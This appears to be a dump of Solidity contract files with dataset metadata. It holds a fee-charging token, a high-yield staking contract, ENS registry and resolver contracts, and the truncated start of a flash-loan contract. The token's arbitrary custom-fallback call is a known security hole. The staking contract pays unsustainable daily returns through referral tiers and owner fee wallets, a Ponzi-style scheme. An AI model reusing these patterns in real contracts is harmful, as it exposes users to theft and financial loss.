emit SetFee("mint", "absolute", _value);
return true;
}
function setMintFeeProp(uint256 _value) external onlyOwner returns (bool) {
require(_value < feePropMax, "Must be less then maximum");
mintFee.prop = _value;
emit SetFee("mint", "proportional", _value);
return true;
}
function setTransferFeeAbs(uint256 _value) external onlyOwner returns (bool) {
require(_value < feeAbsMax, "Must be less then maximum");
transferFee.abs = _value;
emit SetFee("transfer", "absolute", _value);
return true;
}
function setTransferFeeProp(uint256 _value) external onlyOwner returns (bool) {
require(_value < feePropMax, "Must be less then maximum");
transferFee.prop = _value;
emit SetFee("transfer", "proportional", _value);
return true;
}
function setBurnFeeAbs(uint256 _value) external onlyOwner returns (bool) {
require(_value < feeAbsMax, "Must be less then maximum");
burnFee.abs = _value;
emit SetFee("burn", "absolute", _value);
return true;
}
function setBurnFeeProp(uint256 _value) external onlyOwner returns (bool) {
require(_value < feePropMax, "Must be less then maximum");
burnFee.prop = _value;
emit SetFee("burn", "proportional", _value);
return true;
}
function mintApproveReset(address _address) public onlyOwner {
_mintApproveClear(_address);
}
function _mintApproveClear(address _address) internal {
mintApprove[_address].amount = 0;
mintApprove[_address].admin = 0x0;
mintApprove[_address].audit = 0x0;
mintApprove[_address].marketMaker = 0x0;
}
function mintAdminApproval(address _address, uint256 _value) public onlyAdmin {
if (mintApprove[_address].amount > 0) {
require(mintApprove[_address].amount == _value, "Value is diferent");
}
else {
mintApprove[_address].amount = _value;
}
mintApprove[_address].admin = msg.sender;
if ((mintApprove[_address].audit != 0x0) && (mintApprove[_address].marketMaker != 0x0))
mint(_address, _value);
}
function mintAdminCancel(address _address) public onlyAdmin {
require(mintApprove[_address].admin == msg.sender, "Only cancel if the address is the same admin");
mintApprove[_address].admin = 0x0;
}
function mintAuditApproval(address _address, uint256 _value) public onlyAudit {
if (mintApprove[_address].amount > 0) {
require(mintApprove[_address].amount == _value, "Value is diferent");
}
else {
mintApprove[_address].amount = _value;
}
mintApprove[_address].audit = msg.sender;
if ((mintApprove[_address].admin != 0x0) && (mintApprove[_address].marketMaker != 0x0))
mint(_address, _value);
}
function mintAuditCancel(address _address) public onlyAudit {
require(mintApprove[_address].audit == msg.sender, "Only cancel if the address is the same audit");
mintApprove[_address].audit = 0x0;
}
function mintMarketMakerApproval(address _address, uint256 _value) public onlyMarketMaker {
if (mintApprove[_address].amount > 0) {
require(mintApprove[_address].amount == _value, "Value is diferent");
}
else {
mintApprove[_address].amount = _value;
}
mintApprove[_address].marketMaker = msg.sender;
if ((mintApprove[_address].admin != 0x0) && (mintApprove[_address].audit != 0x0))
mint(_address, _value);
}
function mintMarketMakerCancel(address _address) public onlyMarketMaker {
require(mintApprove[_address].marketMaker == msg.sender, "Only cancel if the address is the same marketMaker");
mintApprove[_address].marketMaker = 0x0;
}
event SpeedBumpUpdated(bool value);
function setSpeedBump (bool _value) public onlyMasterOwner {
speedBump = _value;
emit SpeedBumpUpdated(_value);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require((msg.sender == owner) || (msg.sender == ownerMaster), "Only owner");
_;
}
modifier onlyMasterOwner() {
require(msg.sender == ownerMaster, "Only master owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "newOwner must be not 0x0");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished, "Mint is finished");
_;
}
function finishMinting() public onlyMasterOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function _mint(address _account, uint256 _amount) internal canMint {
require(_account != 0, "Address must not be zero");
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
emit Mint(_account, _amount);
}
event Burn(address indexed burner, uint256 value);
function _burn(address _account, uint256 _amount) internal {
require(_account != 0, "Address must not be zero");
require(_amount <= balances[_account], "Insuficient funds");
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
emit Burn(_account, _amount);
}
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed tokenOwner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address spender, uint256 value) public pure returns (bool success){
//Not implemented
return false;
}
function transferFrom(address from, address to, uint256 value) public pure returns (bool success){
//Not implemented
return false;
}
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function _transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) private returns (bool success) {
if (isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert("Insuficient funds");
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function _transfer(address _to, uint256 _value, bytes _data) private returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function _transfer(address _to, uint256 _value) private returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint codeLength;
assembly {
codeLength := extcodesize(_addr)
}
return (codeLength>0);
}
function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert("Insuficient funds");
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert("Insuficient funds");
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
}
| 134,224 | 13,184 |
6d0f7d54c98f44ba82d5cd50238994269f1cf050061a51db2c9801ebe2a8c023
| 13,849 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7d/7dd9d55609fb989fadaa4f9c529c7e326057aa13_AVAXSTAKEX.sol
| 4,118 | 13,122 |
pragma solidity 0.5.8;
contract AVAXSTAKEX {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 5 ether; // 5 MATIC
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 constant public FORCE_WITHDRAW_PENALTY = 200; // 20%
uint256 constant public MAX_NFT_AIRDROP_PLAN_4 = 10;
uint256 constant public MAX_NFT_AIRDROP_PLAN_5 = 50;
uint256 constant public MAX_NFT_AIRDROP_PLAN_6 = 100;
uint256 constant public NFT_BOXES_STEP = 1000 ether; //1000 MATIC
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
uint256 availableBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 65)); // 6.5% per day for 21 days
plans.push(Plan(28, 50)); // 5% per day for 28 days
plans.push(Plan(14, 137)); // 13.7% per day for 14 days (at the end)
plans.push(Plan(21, 131)); // 13.1% per day for 21 days (at the end)
plans.push(Plan(28, 104)); // 10.4% per day for 28 days (at the end)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.availableBonus = 0;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function forceWithdraw(uint256 index) public {
User storage user = users[msg.sender];
require(user.deposits.length > 0, "user doesn`t have deposits");
require(index < user.deposits.length, "Invalid index");
require(user.deposits[index].plan > 2, "unable to withdraw deposit");
require(user.deposits[index].finish > 0, "Already withdrawn");
require(user.deposits[index].finish > block.timestamp, "Period already ended");
uint256 amount = user.deposits[index].amount;
uint256 totalAmount = amount.sub(amount.mul(FORCE_WITHDRAW_PENALTY).div(PERCENTS_DIVIDER)); //80%
user.deposits[index].finish = 0;
if(totalAmount > address(this).balance) {
totalAmount = address(this).balance;
}
msg.sender.transfer(totalAmount);
}
function getAvailableNftBoxes(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256[] memory amounts = new uint256[](3); // deposited amount plan4,plan5,plan6
for(uint256 i = 0; i < user.deposits.length; i++) {
if(user.deposits[i].plan > 2) {
uint256 indexForAmounts = user.deposits[i].plan.sub(3);
amounts[indexForAmounts] = amounts[indexForAmounts].add(user.deposits[i].amount);
}
}
uint256 boxesForPlan4 = getBoxesByDepositAmount(3, amounts[0]);
uint256 boxesForPlan5 = getBoxesByDepositAmount(4, amounts[1]);
uint256 boxesForPlan6 = getBoxesByDepositAmount(5, amounts[2]);
return boxesForPlan4.add(boxesForPlan5).add(boxesForPlan6);
}
function getBoxesByDepositAmount(uint8 plan, uint256 depositedAmount) public pure returns(uint256) {
if(depositedAmount >= NFT_BOXES_STEP) {
if(plan == 3) {
uint256 boxes = depositedAmount.div(NFT_BOXES_STEP); // 1 box per 1000 MATIC
if(boxes > MAX_NFT_AIRDROP_PLAN_4) {
boxes = MAX_NFT_AIRDROP_PLAN_4;
}
return boxes;
}
if(plan == 4) {
uint256 boxes = depositedAmount.div(NFT_BOXES_STEP).mul(2); // 2 boxes per 1000 MATIC
if(boxes > MAX_NFT_AIRDROP_PLAN_5) {
boxes = MAX_NFT_AIRDROP_PLAN_5;
}
return boxes;
}
if(plan == 5) {
uint256 boxes = depositedAmount.div(NFT_BOXES_STEP).mul(3); // 3 boxes per 1000 MATIC
if(boxes > MAX_NFT_AIRDROP_PLAN_6) {
boxes = MAX_NFT_AIRDROP_PLAN_6;
}
return boxes;
}
} else {
return 0;
}
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
if(user.availableBonus > 0) {
totalAmount = totalAmount.add(user.availableBonus);
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserDividends(userAddress);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 101,847 | 13,185 |
16687ae1bc1b8c1d98ae78d486ddd134d7ef081a51a957bb485d7066b6da4e94
| 16,328 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x644226c0513d860395ac6ed3aec4d8ba761abef9.sol
| 2,730 | 10,305 |
pragma solidity ^0.4.21;
interface SvEns {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
contract SvEnsRegistry is SvEns {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping (bytes32 => Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
require(records[node].owner == msg.sender);
_;
}
function SvEnsRegistry() public {
records[0x0].owner = msg.sender;
}
function setOwner(bytes32 node, address owner) external only_owner(node) {
emit Transfer(node, owner);
records[node].owner = owner;
}
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external only_owner(node) returns (bytes32) {
bytes32 subnode = keccak256(node, label);
emit NewOwner(node, label, owner);
records[subnode].owner = owner;
return subnode;
}
function setResolver(bytes32 node, address resolver) external only_owner(node) {
emit NewResolver(node, resolver);
records[node].resolver = resolver;
}
function setTTL(bytes32 node, uint64 ttl) external only_owner(node) {
emit NewTTL(node, ttl);
records[node].ttl = ttl;
}
function owner(bytes32 node) external view returns (address) {
return records[node].owner;
}
function resolver(bytes32 node) external view returns (address) {
return records[node].resolver;
}
function ttl(bytes32 node) external view returns (uint64) {
return records[node].ttl;
}
}
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(ens.owner(node) == msg.sender);
_;
}
function PublicResolver(ENS ensAddr) public {
ens = ensAddr;
}
function setAddr(bytes32 node, address addr) public only_owner(node) {
records[node].addr = addr;
emit AddrChanged(node, addr);
}
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
records[node].content = hash;
emit ContentChanged(node, hash);
}
function setName(bytes32 node, string name) public only_owner(node) {
records[node].name = name;
emit NameChanged(node, name);
}
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
// Content types must be powers of 2
require(((contentType - 1) & contentType) == 0);
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
records[node].pubkey = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
function setText(bytes32 node, string key, string value) public only_owner(node) {
records[node].text[key] = value;
emit TextChanged(node, key, key);
}
function text(bytes32 node, string key) public view returns (string) {
return records[node].text[key];
}
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
Record storage record = records[node];
for (contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
function name(bytes32 node) public view returns (string) {
return records[node].name;
}
function content(bytes32 node) public view returns (bytes32) {
return records[node].content;
}
function addr(bytes32 node) public view returns (address) {
return records[node].addr;
}
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
}
contract SvEnsRegistrar {
SvEns public ens;
bytes32 public rootNode;
mapping (bytes32 => bool) knownNodes;
mapping (address => bool) admins;
address public owner;
modifier req(bool c) {
require(c);
_;
}
function SvEnsRegistrar(SvEns ensAddr, bytes32 node) public {
ens = ensAddr;
rootNode = node;
admins[msg.sender] = true;
owner = msg.sender;
}
function addAdmin(address newAdmin) req(admins[msg.sender]) external {
admins[newAdmin] = true;
}
function remAdmin(address oldAdmin) req(admins[msg.sender]) external {
require(oldAdmin != msg.sender && oldAdmin != owner);
admins[oldAdmin] = false;
}
function chOwner(address newOwner, bool remPrevOwnerAsAdmin) req(msg.sender == owner) external {
if (remPrevOwnerAsAdmin) {
admins[owner] = false;
}
owner = newOwner;
admins[newOwner] = true;
}
function register(bytes32 subnode, address _owner) req(admins[msg.sender]) external {
_setSubnodeOwner(subnode, _owner);
}
function registerName(string subnodeStr, address _owner) req(admins[msg.sender]) external {
// labelhash
bytes32 subnode = keccak256(subnodeStr);
_setSubnodeOwner(subnode, _owner);
}
function _setSubnodeOwner(bytes32 subnode, address _owner) internal {
require(!knownNodes[subnode]);
knownNodes[subnode] = true;
ens.setSubnodeOwner(rootNode, subnode, _owner);
}
}
contract SvEnsEverythingPx {
address public owner;
mapping (address => bool) public admins;
address[] public adminLog;
SvEnsRegistrar public registrar;
SvEnsRegistry public registry;
PublicResolver public resolver;
bytes32 public rootNode;
modifier only_admin() {
require(admins[msg.sender]);
_;
}
function SvEnsEverythingPx(SvEnsRegistrar _registrar, SvEnsRegistry _registry, PublicResolver _resolver, bytes32 _rootNode) public {
registrar = _registrar;
registry = _registry;
resolver = _resolver;
rootNode = _rootNode;
owner = msg.sender;
_addAdmin(msg.sender);
}
function _addAdmin(address a) internal {
admins[a] = true;
adminLog.push(a);
}
function addAdmin(address a) only_admin() external {
_addAdmin(a);
}
function remAdmin(address a) only_admin() external {
require(a != owner && a != msg.sender);
admins[a] = false;
}
function regName(string name, address resolveTo) only_admin() external returns (bytes32 node) {
bytes32 labelhash = keccak256(name);
registrar.register(labelhash, this);
node = keccak256(rootNode, labelhash);
registry.setResolver(node, resolver);
resolver.setAddr(node, resolveTo);
registry.setOwner(node, msg.sender);
}
}
| 145,021 | 13,186 |
b3299d0e056df53c65b1d7b7c5136a652717d73a07c2ab4870cd6d2e252a711a
| 34,625 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7c/7c6b9ab2F964A1B419A85367a386A8F7A5656C04_MyV2FlashLoan.sol
| 3,877 | 14,414 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance');
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), 'SafeERC20: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
interface ILendingPoolAddressesProvider {
event MarketIdSet(string newMarketId);
event LendingPoolUpdated(address indexed newAddress);
event ConfigurationAdminUpdated(address indexed newAddress);
event EmergencyAdminUpdated(address indexed newAddress);
